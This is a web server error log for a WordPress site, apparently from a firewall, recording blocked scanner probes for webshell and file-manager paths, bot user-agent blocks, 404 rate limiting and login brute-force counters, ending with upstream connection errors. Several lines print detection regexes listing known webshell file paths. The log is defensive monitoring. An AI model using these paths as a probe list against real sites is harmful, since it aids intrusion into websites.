[Tue Nov 11 23:20:10.637510 2025] [:error] [pid 47964:tid 47980] [client 185.223.152.39:58113] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aRNUKl6CQC3ebUS5pkQhegAAAY0"]
[Tue Nov 11 23:20:11.315613 2025] [:error] [pid 49628:tid 49647] [client 185.223.152.62:32483] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "aRNUK782AgnfnwL7V2ZWgwAAAJE"]
[Tue Nov 11 23:20:17.004164 2025] [:error] [pid 47964:tid 47979] [client 185.223.152.40:20081] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/chosen.php"] [unique_id "aRNUMV6CQC3ebUS5pkQhggAAAYw"]
[Tue Nov 11 23:20:22.696595 2025] [:error] [pid 49628:tid 49642] [client 185.223.152.53:23037] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bk/index.php"] [unique_id "aRNUNr82AgnfnwL7V2ZWlwAAAIw"]
[Tue Nov 11 23:20:23.430917 2025] [:error] [pid 47859:tid 47880] [client 185.223.152.62:50673] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/log.php"] [unique_id "aRNUN6RzLR7egYHK_4eTVAAAABA"]
[Tue Nov 11 23:20:24.275049 2025] [:error] [pid 47860:tid 47904] [client 185.223.152.63:34237] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/navigation/index.php"] [unique_id "aRNUOKPe6bkmJWx80CzrPwAAAE0"]
[Tue Nov 11 23:20:29.947993 2025] [:error] [pid 47859:tid 47880] [client 185.223.152.39:22015] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "aRNUPaRzLR7egYHK_4eTZQAAABA"]
[Tue Nov 11 23:20:35.606538 2025] [:error] [pid 47931:tid 47952] [client 185.223.152.52:40415] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/radio.php"] [unique_id "aRNUQzWP7ptQ6Y-gz685LwAAAVI"]
[Tue Nov 11 23:20:56.276353 2025] [:error] [pid 47860:tid 47909] [client 185.223.152.53:34185] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "aRNUWKPe6bkmJWx80CzrbgAAAFI"]
[Tue Nov 11 23:21:11.946619 2025] [:error] [pid 47931:tid 47956] [client 185.223.152.52:48569] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/search/"] [unique_id "aRNUZzWP7ptQ6Y-gz685ZAAAAVY"]
[Tue Nov 11 23:21:27.620514 2025] [:error] [pid 47964:tid 47976] [client 185.223.152.62:31051] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/assets/"] [unique_id "aRNUd16CQC3ebUS5pkQh5AAAAYk"]
[Tue Nov 11 23:21:38.270817 2025] [:error] [pid 47859:tid 47877] [client 185.223.152.58:21481] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/upload/"] [unique_id "aRNUgqRzLR7egYHK_4eT4AAAAA0"]
[Tue Nov 11 23:22:08.979595 2025] [:error] [pid 47860:tid 47906] [client 185.223.152.40:46435] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aRNUoKPe6bkmJWx80Czr0QAAAE8"]
[Tue Nov 11 23:22:14.681592 2025] [:error] [pid 47859:tid 47883] [client 185.223.152.62:57853] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aRNUpqRzLR7egYHK_4eUGgAAABM"]
[Tue Nov 11 23:22:25.358260 2025] [:error] [pid 47964:tid 47969] [client 185.223.152.53:26993] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/themes/"] [unique_id "aRNUsV6CQC3ebUS5pkQiTwAAAYI"]
[Tue Nov 11 23:22:36.042890 2025] [:error] [pid 49628:tid 49644] [client 185.223.152.53:26389] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aRNUvL82AgnfnwL7V2ZXoQAAAI4"]
[Tue Nov 11 23:22:36.812916 2025] [:error] [pid 47859:tid 47868] [client 185.223.152.52:36731] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen/function.php"] [unique_id "aRNUvKRzLR7egYHK_4eUMAAAAAQ"]
[Tue Nov 11 23:22:37.498527 2025] [:error] [pid 47931:tid 47935] [client 185.223.152.58:42691] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "aRNUvTWP7ptQ6Y-gz685-gAAAUE"]
[Tue Nov 11 23:22:43.153674 2025] [:error] [pid 49628:tid 49640] [client 185.223.152.58:23663] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aRNUw782AgnfnwL7V2ZXtAAAAIo"]
[Tue Nov 11 23:22:58.848551 2025] [:error] [pid 49628:tid 49640] [client 185.223.152.53:36391] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/user/index.php"] [unique_id "aRNU0r82AgnfnwL7V2ZXxgAAAIo"]
[Tue Nov 11 23:23:29.521008 2025] [:error] [pid 49628:tid 49650] [client 185.223.152.58:37895] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aRNU8b82AgnfnwL7V2ZX-AAAAJQ"]
[Tue Nov 11 23:23:30.180131 2025] [:error] [pid 47860:tid 47893] [client 185.223.152.63:27807] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-Owl.php"] [unique_id "aRNU8qPe6bkmJWx80CzsMwAAAEI"]
[Tue Nov 11 23:23:50.943005 2025] [:error] [pid 47964:tid 47976] [client 185.223.152.40:41889] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/themes.php"] [unique_id "aRNVBl6CQC3ebUS5pkQiqgAAAYk"]
[Tue Nov 11 23:24:31.668100 2025] [:error] [pid 47860:tid 47891] [client 185.223.152.62:60317] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/about.php"] [unique_id "aRNVL6Pe6bkmJWx80CzsZwAAAEA"]
[Tue Nov 11 23:24:32.322620 2025] [:error] [pid 47964:tid 47981] [client 185.223.152.53:31299] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "aRNVMF6CQC3ebUS5pkQi7wAAAY4"]
[Tue Nov 11 23:24:33.088216 2025] [:error] [pid 47859:tid 47866] [client 185.223.152.53:58309] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aRNVMaRzLR7egYHK_4eUqQAAAAI"]
[Tue Nov 11 23:24:33.813853 2025] [:error] [pid 47860:tid 47894] [client 185.223.152.52:46829] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/product.php"] [unique_id "aRNVMaPe6bkmJWx80CzsagAAAEM"]
[Tue Nov 11 23:24:39.506158 2025] [:error] [pid 47964:tid 47979] [client 185.223.152.63:62655] [client 185.223.152.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "aRNVN16CQC3ebUS5pkQi_wAAAYw"]
[Tue Nov 11 23:25:15.288766 2025] [:error] [pid 49628:tid 49654] [client 185.223.152.40:46661] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/directionality/index.php"] [unique_id "aRNVW782AgnfnwL7V2ZZBAAAAJg"]
[Tue Nov 11 23:25:25.971377 2025] [:error] [pid 47931:tid 47935] [client 185.223.152.53:22399] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/about.php"] [unique_id "aRNVZTWP7ptQ6Y-gz6863AAAAUE"]
[Tue Nov 11 23:25:51.744529 2025] [:error] [pid 47964:tid 47981] [client 185.223.152.58:61769] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aRNVf16CQC3ebUS5pkQjYwAAAY4"]
[Tue Nov 11 23:57:29.386618 2025] [:error] [pid 47964:tid 47991] [client 67.223.118.61:41980] [client 67.223.118.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRNc6V6CQC3ebUS5pkQu8QAAAZg"]
[Tue Nov 11 23:57:30.532832 2025] [:error] [pid 47964:tid 47973] [client 67.223.118.61:41980] [client 67.223.118.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRNc6l6CQC3ebUS5pkQu9gAAAYY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 01:44:58.662942 2025] [:error] [pid 40746:tid 40799] [client 196.251.66.105:48416] [client 196.251.66.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRN2Gp75CjGFTLdEMn7xYgAAAFY"]
[Wed Nov 12 01:45:52.581532 2025] [:error] [pid 40746:tid 40793] [client 196.251.66.105:50438] [client 196.251.66.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "aRN2UJ75CjGFTLdEMn7xpAAAAFA"]
[Wed Nov 12 03:16:26.859366 2025] [autoindex:error] [pid 40745:tid 40767] [client 20.189.123.179:55357] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 12 04:19:42.625782 2025] [:error] [pid 57224:tid 57290] [client 213.209.143.137:58841] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aROaXhs7oZ7imwCSdAnmWAAAAIY"]
[Wed Nov 12 04:19:43.134709 2025] [:error] [pid 57223:tid 57260] [client 213.209.143.137:62125] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aROaXxUU8_2aS__aG8YszAAAAEM"]
[Wed Nov 12 04:19:46.198190 2025] [:error] [pid 57312:tid 57331] [client 213.209.143.137:49617] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aROaYo0cuHgB17JK5qWdcgAAAM4"]
[Wed Nov 12 04:19:46.700022 2025] [:error] [pid 57223:tid 57275] [client 213.209.143.137:55644] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aROaYhUU8_2aS__aG8Ys5AAAAFI"]
[Wed Nov 12 04:19:47.200712 2025] [:error] [pid 57223:tid 57274] [client 213.209.143.137:58938] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-event-solution/readme.txt"] [unique_id "aROaYxUU8_2aS__aG8Ys5wAAAFE"]
[Wed Nov 12 04:19:49.862029 2025] [:error] [pid 57224:tid 57305] [client 213.209.143.137:61958] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aROaZRs7oZ7imwCSdAnmiAAAAJU"]
[Wed Nov 12 04:19:50.378364 2025] [:error] [pid 57223:tid 57257] [client 213.209.143.137:62287] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aROaZhUU8_2aS__aG8Ys-gAAAEA"]
[Wed Nov 12 04:19:50.877741 2025] [:error] [pid 57224:tid 57304] [client 213.209.143.137:49258] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aROaZhs7oZ7imwCSdAnmkgAAAJQ"]
[Wed Nov 12 04:19:51.376236 2025] [:error] [pid 57224:tid 57307] [client 213.209.143.137:52548] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wc-fields-factory/readme.txt"] [unique_id "aROaZxs7oZ7imwCSdAnmmgAAAJc"]
[Wed Nov 12 04:43:28.494551 2025] [:error] [pid 57223:tid 57265] [client 37.140.223.239:47379] [client 37.140.223.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.239, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aROf8BUU8_2aS__aG8Y2wgAAAEg"]
[Wed Nov 12 06:13:22.283368 2025] [:error] [pid 32959:tid 32967] [client 37.140.223.241:55011] [client 37.140.223.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.241, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRO1Anoyrq7OJfcFnDjXcgAAAQQ"]
[Wed Nov 12 07:10:30.711654 2025] [:error] [pid 32959:tid 32963] [client 37.140.223.251:44837] [client 37.140.223.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPCZnoyrq7OJfcFnDj9PQAAAQA"]
[Wed Nov 12 07:24:56.417506 2025] [:error] [pid 32959:tid 32975] [client 136.144.33.1:31521] [client 136.144.33.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPFyHoyrq7OJfcFnDgGtQAAAQw"]
[Wed Nov 12 07:38:32.043953 2025] [:error] [pid 32959:tid 32985] [client 37.140.223.218:54909] [client 37.140.223.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.218, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRPI-Hoyrq7OJfcFnDgOfQAAARY"]
2025/11/12 08:49:14 [error] 24803#24803: *1872 connect() failed (111: Connection refused) while connecting to upstream, client: 37.140.223.239, server: rcacivilgroup.com, request: "POST /wp-login.php HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-login.php", host: "rcacivilgroup.com"
2025/11/12 08:51:32 [error] 24802#24802: *2389 connect() failed (111: Connection refused) while connecting to upstream, client: 198.244.183.236, server: rcacivilgroup.com, request: "GET /projects/?vp_filter=portfolio_category%3Aearthworks-and-subdivisions HTTP/1.1", upstream: "http://103.4.122.14:8181/projects/?vp_filter=portfolio_category%3Aearthworks-and-subdivisions", host: "rcacivilgroup.com"
2025/11/12 08:57:00 [error] 24805#24805: *4553 connect() failed (111: Connection refused) while connecting to upstream, client: 98.170.57.249, server: rcacivilgroup.com, request: "GET / HTTP/1.0", upstream: "http://103.4.122.14:8181/", host: "rcacivilgroup.com", referrer: "http://rcacivilgroup.com/"
2025/11/12 08:57:01 [error] 24803#24803: *4593 connect() failed (111: Connection refused) while connecting to upstream, client: 98.170.57.249, server: rcacivilgroup.com, request: "GET / HTTP/1.0", upstream: "http://103.4.122.14:8181/", host: "rcacivilgroup.com", referrer: "http://rcacivilgroup.com/"
2025/11/12 09:04:41 [error] 24804#24804: *9344 connect() failed (111: Connection refused) while connecting to upstream, client: 37.140.223.248, server: rcacivilgroup.com, request: "POST /wp-login.php HTTP/1.1", upstream: "http://103.4.122.14:8181/wp-login.php", host: "rcacivilgroup.com"
